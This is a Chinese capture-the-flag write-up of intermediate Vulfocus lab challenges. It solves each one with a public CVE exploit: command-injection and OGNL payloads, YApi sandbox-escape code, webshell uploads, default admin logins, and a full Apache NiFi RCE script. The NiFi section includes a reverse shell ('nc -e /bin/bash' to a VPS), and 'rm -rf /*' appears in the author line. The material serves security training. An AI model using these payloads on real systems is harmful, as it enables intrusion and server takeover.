Vulfocus靶场竞赛中级部分题解
作者:F4n、高诺琪、weske@rm -rf /*
中级
vulfocus/071
官方即有WP:vulfocus/CVE-2017-4971_Spring Web Flow 远程代码执行(CVE-2017-4971)
vulfocus/070
漏洞概述
Node.js-systeminformation是用于获取各种系统信息的Node.JS模块,它包含多种轻量级功能,可以检索详细的硬件和系统相关信息。2021年02月24日,npm团队发布安全公告,Node.js库中的systeminformation软件包中存在一个命令注入漏洞CVE-2021-21315,攻击者可以通过在未经过滤的参数中注入Payload来执行系统命令,最终获取服务器最高权限。
解题思路
通过Wappalyzer浏览器插件发现该页面使用了nodejs,于是乎试了Node.js命令注入漏洞(CVE-2021-21315)
打开dns平台,获取一个子域名
之后插入poc
http://106.75.119.109:32470/api/getServices?name[]=$(ping%20`ls%20/tmp`.f01e33dd.dns.1433.eu.org.)
dns平台成功获取到flag
vulfocus/027
漏洞概述
Final上,LC/BC的成员Pavel Toporkov在分享会上介绍了一种关于Redis 4.x/5.x的RCE利用方式,比起以前的利用方式来说,这种利用方式更为通用,危害也更大。在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以在Redis中实现一个新的Redis命令。我们可以通过外部拓展(.so),在Redis中创建一个用于执行系统命令的函数。
解题思路
看到靶场开启的端口是 6379 ,大致可以判断这应该是一个 redis 的漏洞(cnvd_2019_21763)
exploit for Redis 4.x/5.x RCE:Ridter/redis-rce: Redis 4.x/5.x RCE (github.com)
上面的这个项目中缺少了个外部拓展的 .so 的文件,需要在这个项目中下载 exp.so 模块放进去
n0b0dyCN/redis-rogue-server: Redis(<=5.0.5) RCE (github.com)
python3 redis-rce.py -r 靶场地址 -p 靶场端口 -L vps地址 -P vps端口 -f exp.so
vulfocus/017
漏洞概述
API接口管理平台是国内某旅行网站的大前端技术中心开源项目,使用mock数据/脚本作为中间交互层,为前端后台开发与测试人员提供更优雅的接口管理服务,该系统被国内较多知名互联网企业所采用。 YApi 是高效、易用、功能强大的 api 管理平台。但因为大量用户使用 YAPI的默认配置并允许从外部网络访问 YApi服务,导致攻击者注册用户后,即可通过 Mock功能远程执行任意代码。
解题思路
访问3000端口后,可以看到是YAPI的平台,可以想到应该是yapi的远程代码执行的漏洞
注册用户->添加项目->创建项目->添加接口->提交->高级mock->选择脚本,然后开启
const sandbox = this
const objectConstructor = this.constructor
const FunctionConstructor = objectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("ls /tmp").toString()
保存之后->预览->点击mock地址
vulfocus/021
漏洞概述
Apache Tomcat 漏洞的产生是由于配置不当(非默认配置),将配置文件(conf/web.xm l)中的readonly设置为了false,导致可以使用PUT方法上传任意文件
解题思路
访问 8080 端口后,是tomcat的默认页面,但是没有开启 8009 端口,猜测应该不是幽灵猫,再尝试了另外几种之后发现了是Tomcat 任意写入文件漏洞(CVE-2017-12615)
Apache Tomcat/8.5.19
Put任意写文件漏洞,写jsp马上去
vulfocus/022
漏洞概述
CVE-2019-0230漏洞是一个object-Graph Navigation Language (OGNL)强制两次评估的漏洞,当Struts尝试对tag属相中的原始用户输入进行评估时会触发该漏洞。攻击者可以通过注入恶意OGNL表达式到OGNL表达式中使用的属性中来利用该漏洞。攻击者利用该漏洞可以实现远程代码执行。
解题思路
访问页面之后出现的是S2-059 Demo,直接掏poc打
github找poc测试
https://github.com/ramoncjs3/CVE-2019-0230/blob/master/poc.txt
poc:
skillName=%25%7b%23_memberAccess.allowPrivateAccess%3Dtrue%2C%23_memberAccess.allowStaticMethodAccess%3Dtrue%2C%23_memberAccess.excludedClasses%3D%23_memberAccess.acceptProperties%2C%23_memberAccess.excludedPackageNamePatterns%3D%23_memberAccess.acceptProperties%2C%23res%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23a%3D%40java.lang.Runtime%40getRuntime()%2C%23s%3Dnew%20java.util.Scanner(%23a.exec('ls%20%2Ftmp').getInputStream()).useDelimiter('%5C%5C%5C%5CA')%2C%23str%3D%23s.hasNext()%3F%23s.next()%3A''%2C%23res.print(%23str)%2C%23res.close()%0A%7d
vulfocus/018
漏洞概述
Webmin是一个用于管理类Unix系统的管理配置工具,具有Web页面。在其找回密码页面中,存在一处无需权限的命令注入漏洞,通过这个漏洞攻击者即以执行任意系统命令。
解题思路
访问页面之后是webmin的页面,尝试了下root/root能直接登录进去,猜测是Webmin 远程命令执行漏洞(CVE-2019-15107)
在session_login.cgi的页面发个包修改一下就可以了
POST /password_change.cgi HTTP/1.1
user=rootxx&pam=&expired=2&old=test|ls /tmp&new1=test2&new2=test2
vulfocus/030
漏洞概述
Maccms是一套跨平台的基于PHP和MySQL快速建站系统。 Maccms 8.x版本中存在安全漏洞。远程攻击者可借助index.php?m=vod-search请求中的‘wd’参数利用该漏洞执行命令。
解题思路
访问页面之后看到是苹果cms8.x,苹果cms8.x有个命令执行的漏洞,直接拿poc打
poc
index.php?m=vod-search&wd={if-A:assert($_POST[a])}{endif-A}
POST:a=phpinfo()
vulfocus/026
漏洞概述
海洋CMS一套程序自适应电脑、手机、平板、APP多个终端入口。 SeaCMS v10.1存在命令执行漏洞,在w1aqhp/admin_ip.php下第五行使用set参数,对用户输入没有进行任何处理,直接写入文件。攻击者可利用该漏洞执行恶意代码,获取服务器权限。(CNVD-2020-22721)
解题思路
可以在页面中找到海洋cms页面的关键字,访问/manager/login.php使用admin/admin能直接登入后台
访问/manager/login.php使用admin/admin登入后台
访问后台IP安全设置网页, burp进行抓包,后面拼接一句话命名
访问后台IP安全设置页面,连接一句话执行命令获得flag
http://106.75.119.109:26813/manager/admin_ip.php
POST:pwd=system('ls /tmp');
vulfocus/032
漏洞概述
JunAMS是一款以ThinkPHP为框架的开源内容管理系统。 JunAMS内容管理系统存在文件上传漏洞,攻击者可利用该漏洞上传webshell,获取服务器权限。
解题思路
访问页面之后看到是JunAMS,尝试访问admin.php,使用admin/admin进入了后台,JunAMS有个文件上传漏洞,直接拿poc打
junams 文件上传 (CNVD-2020-24741)复现
用admin/admin进到后台admin.php 本地建一个html内容如下
<form enctype="multipart/form-data" action="http://106.75.119.109:45984/admin.php/common/add_images.html" method="post">
<input type="file" name="file" size="50"><br>
<input type="submit" value="Upload">
</form>
vulfocus/020
漏洞概述
Typesetter CMS 内容管理系统是Php源码频道下深受用户喜爱的软件。 Typesetter CMS 存在代码问题漏洞,该漏洞源于允许管理员通过ZIP归档中的. PHP文件上传和执行任意PHP代码。cve_2020_25790
解题思路
访问页面之后看到是Typesetter,使用admin/admin登入后台后,判断是个文件上传漏洞
admin/admin 进到后台之后,点击已上传的档案->上传1.zip,然后解压1.php(一句话)
点击一句话获得url,之后一句话拿flag
vulfocus/040
漏洞概述
Apache Zeppelin是一款基于Web的NoteBook,支持交互式数据分析。使用Zeppelin,可以使用丰富的预构建语言后端(或解释器)制作精美的数据驱动,交互式和协作文档 Apache Zeppelin 存在未授权的用户访问命令执行接口,导致了任意用户都可以执行恶意命令获取服务器权限。cnvd_2019_33156
解题思路
访问页面之后看到Welcome to Zeppelin!,点击Create new note后可以创建脚本,判断是Zeppelin未授权访问
点击Create new note 创建一个sh的脚本
在标题处输入ls /tmp后点击执行
vulfocus/041
漏洞概述
Apache NiFi 是一个易于使用、功能强大而且可靠的数据处理和分发系统。Apache NiFi 是为数据流设计。它支持高度可配置的指示图的数据路由、转换和系统中介逻辑
解题思路
看到nifi的页面,猜测是apache 的 nifi ,百度了下有个 Apache NiFi API远程执行代码漏洞的漏洞
访问页面看到了是个NiFi
gayhub找了个poc直接打
imjdl/Apache-NiFi-Api-RCE (github.com)
poc:
import sys
import json
import requests as req
class Exp:
def __init__(self, url):
self.url = url
def check_is_vul(self):
url = self.url + "/nifi-api/access/config"
try:
res = req.get(url=url, verify=False)
data = res.json()
return not data["config"]["supportsLogin"]
except Exception as e:
pass
return False
def clean_up(self, p_id):
url = self.url + "/nifi-api/processors/" + p_id
data = {'revision': {'clientId': 'x', 'version': 1}, 'state': 'STOPPED'}
req.put(url=url + "/run-status", data=json.dumps(data), verify=False)
req.delete(url + "/threads", verify=False)
def exploit(self, cmd):
g_id = self.fetch_process_group()
if g_id:
p_id = self.create_process(g_id)
if p_id:
self.run_cmd(p_id=p_id, cmd=cmd)
self.clean_up(p_id=p_id)
def run_cmd(self, p_id, cmd):
url = self.url + "/nifi-api/processors/" + p_id
cmd = cmd.split(" ")
data = {
'component': {
'config': {
'autoTerminatedRelationships': ['success'],
'properties': {
'Command': cmd[0],
'Command Arguments': " ".join(cmd[1:]),
},
'schedulingPeriod': '3600 sec'
},
'id': p_id,
'state': 'RUNNING'
},
'revision': {'clientId': 'x', 'version': 1}
}
print(data)
headers = {
"Content-Type": "application/json",
}
res = req.put(url=url, data=json.dumps(data), headers=headers, verify=False)
return res.json()
def fetch_process_group(self):
url = self.url + "/nifi-api/process-groups/root"
try:
res = req.get(url=url, verify=False)
data = res.json()["id"]
return data
except Exception as e:
pass
return 0
def create_process(self, process_group_id):
url = self.url + "/nifi-api/process-groups/" + process_group_id + "/processors"
data = {
'component': {
'type': 'org.apache.nifi.processors.standard.ExecuteProcess'
},
'revision': {
'version': 0
}
}
headers = {
"Content-Type": "application/json",
}
try:
res = req.post(url=url, data=json.dumps(data), headers=headers, verify=False)
return res.json()["id"]
except Exception as e:
pass
return 0
if __name__ == '__main__':
if len(sys.argv) != 3:
print("rce.py url cmd")
else:
url = sys.argv[1] # http://106.75.119.109:36958
cmd = sys.argv[2] # nc -e /bin/bash 192.168.1.129 1234
e = Exp(url)
e.exploit(cmd)
vps上监听
nc -lv 21000
执行脚本
python Apache-NiFi-Api-RCE.py http://106.75.119.109:36958 "nc -e /bin/bash vps vps端口"
vulfocus/019
解题思路
同vulfocus/018和vulfocus/045一样
在session_login.cgi的页面发个包修改一下就可以了
POST /password_change.cgi HTTP/1.1
user=rootxx&pam=&expired=2&old=test|ls /tmp&new1=test2&new2=test2
vulfocus/031
漏洞概述
Laravel是一套简洁、开源的PHP Web开发框架,旨在实现Web软件的MVC架构。 Laravel开启了Debug模式时,由于Laravel自带的Ignition 组件对file_get_contents()和file_put_contents()函数的不安全使用,攻击者可以通过发起恶意请求,构造恶意Log文件等方式触发Phar反序列化,最终造成远程代码执行。
解题思路
访问页面之后看到是Laravel的界面,尝试了cve-2017-16894和cve-2021-3129后,发现是cve-2021-3129远程代码执行
Laravel Debug mode RCE(CVE-2021-3129)分析复现 - 先知社区
详细的exp使用教程:SNCKER/CVE-2021-3129: Laravel debug rce
git clone https://github.com/ambionics/phpggc.git(放在上边CVE的目录下)
在exploit.py脚本的mian处修改地址和要执行的命令
def main():
Exp("http://106.75.119.109:30089", "ls /tmp")
vulfocus/025
漏洞概述
Apache Shiro是美国阿帕奇(Apache)软件基金会的一套用于执行认证、授权、加密和会话管理的Java安全框架。 Apache Shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cookie值 > base64解码–>AES解密–>反序列化。然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。
解题思路
开启靶场点击 login 后,看到页面有个非常显眼的 Remember Me ,直接掏出 shiro 的工具一把梭了
点击login后到这个页面
Shiro框架利用
j1anFen/shiro_attack: shiro反序列化漏洞综合利用,包含(回显执行命令/注入内存马)
SummerSec/ShiroAttack2: shiro反序列化漏洞综合利用,包含(回显执行命令/注入内存马)修复原版中NoCC的问题
最新评论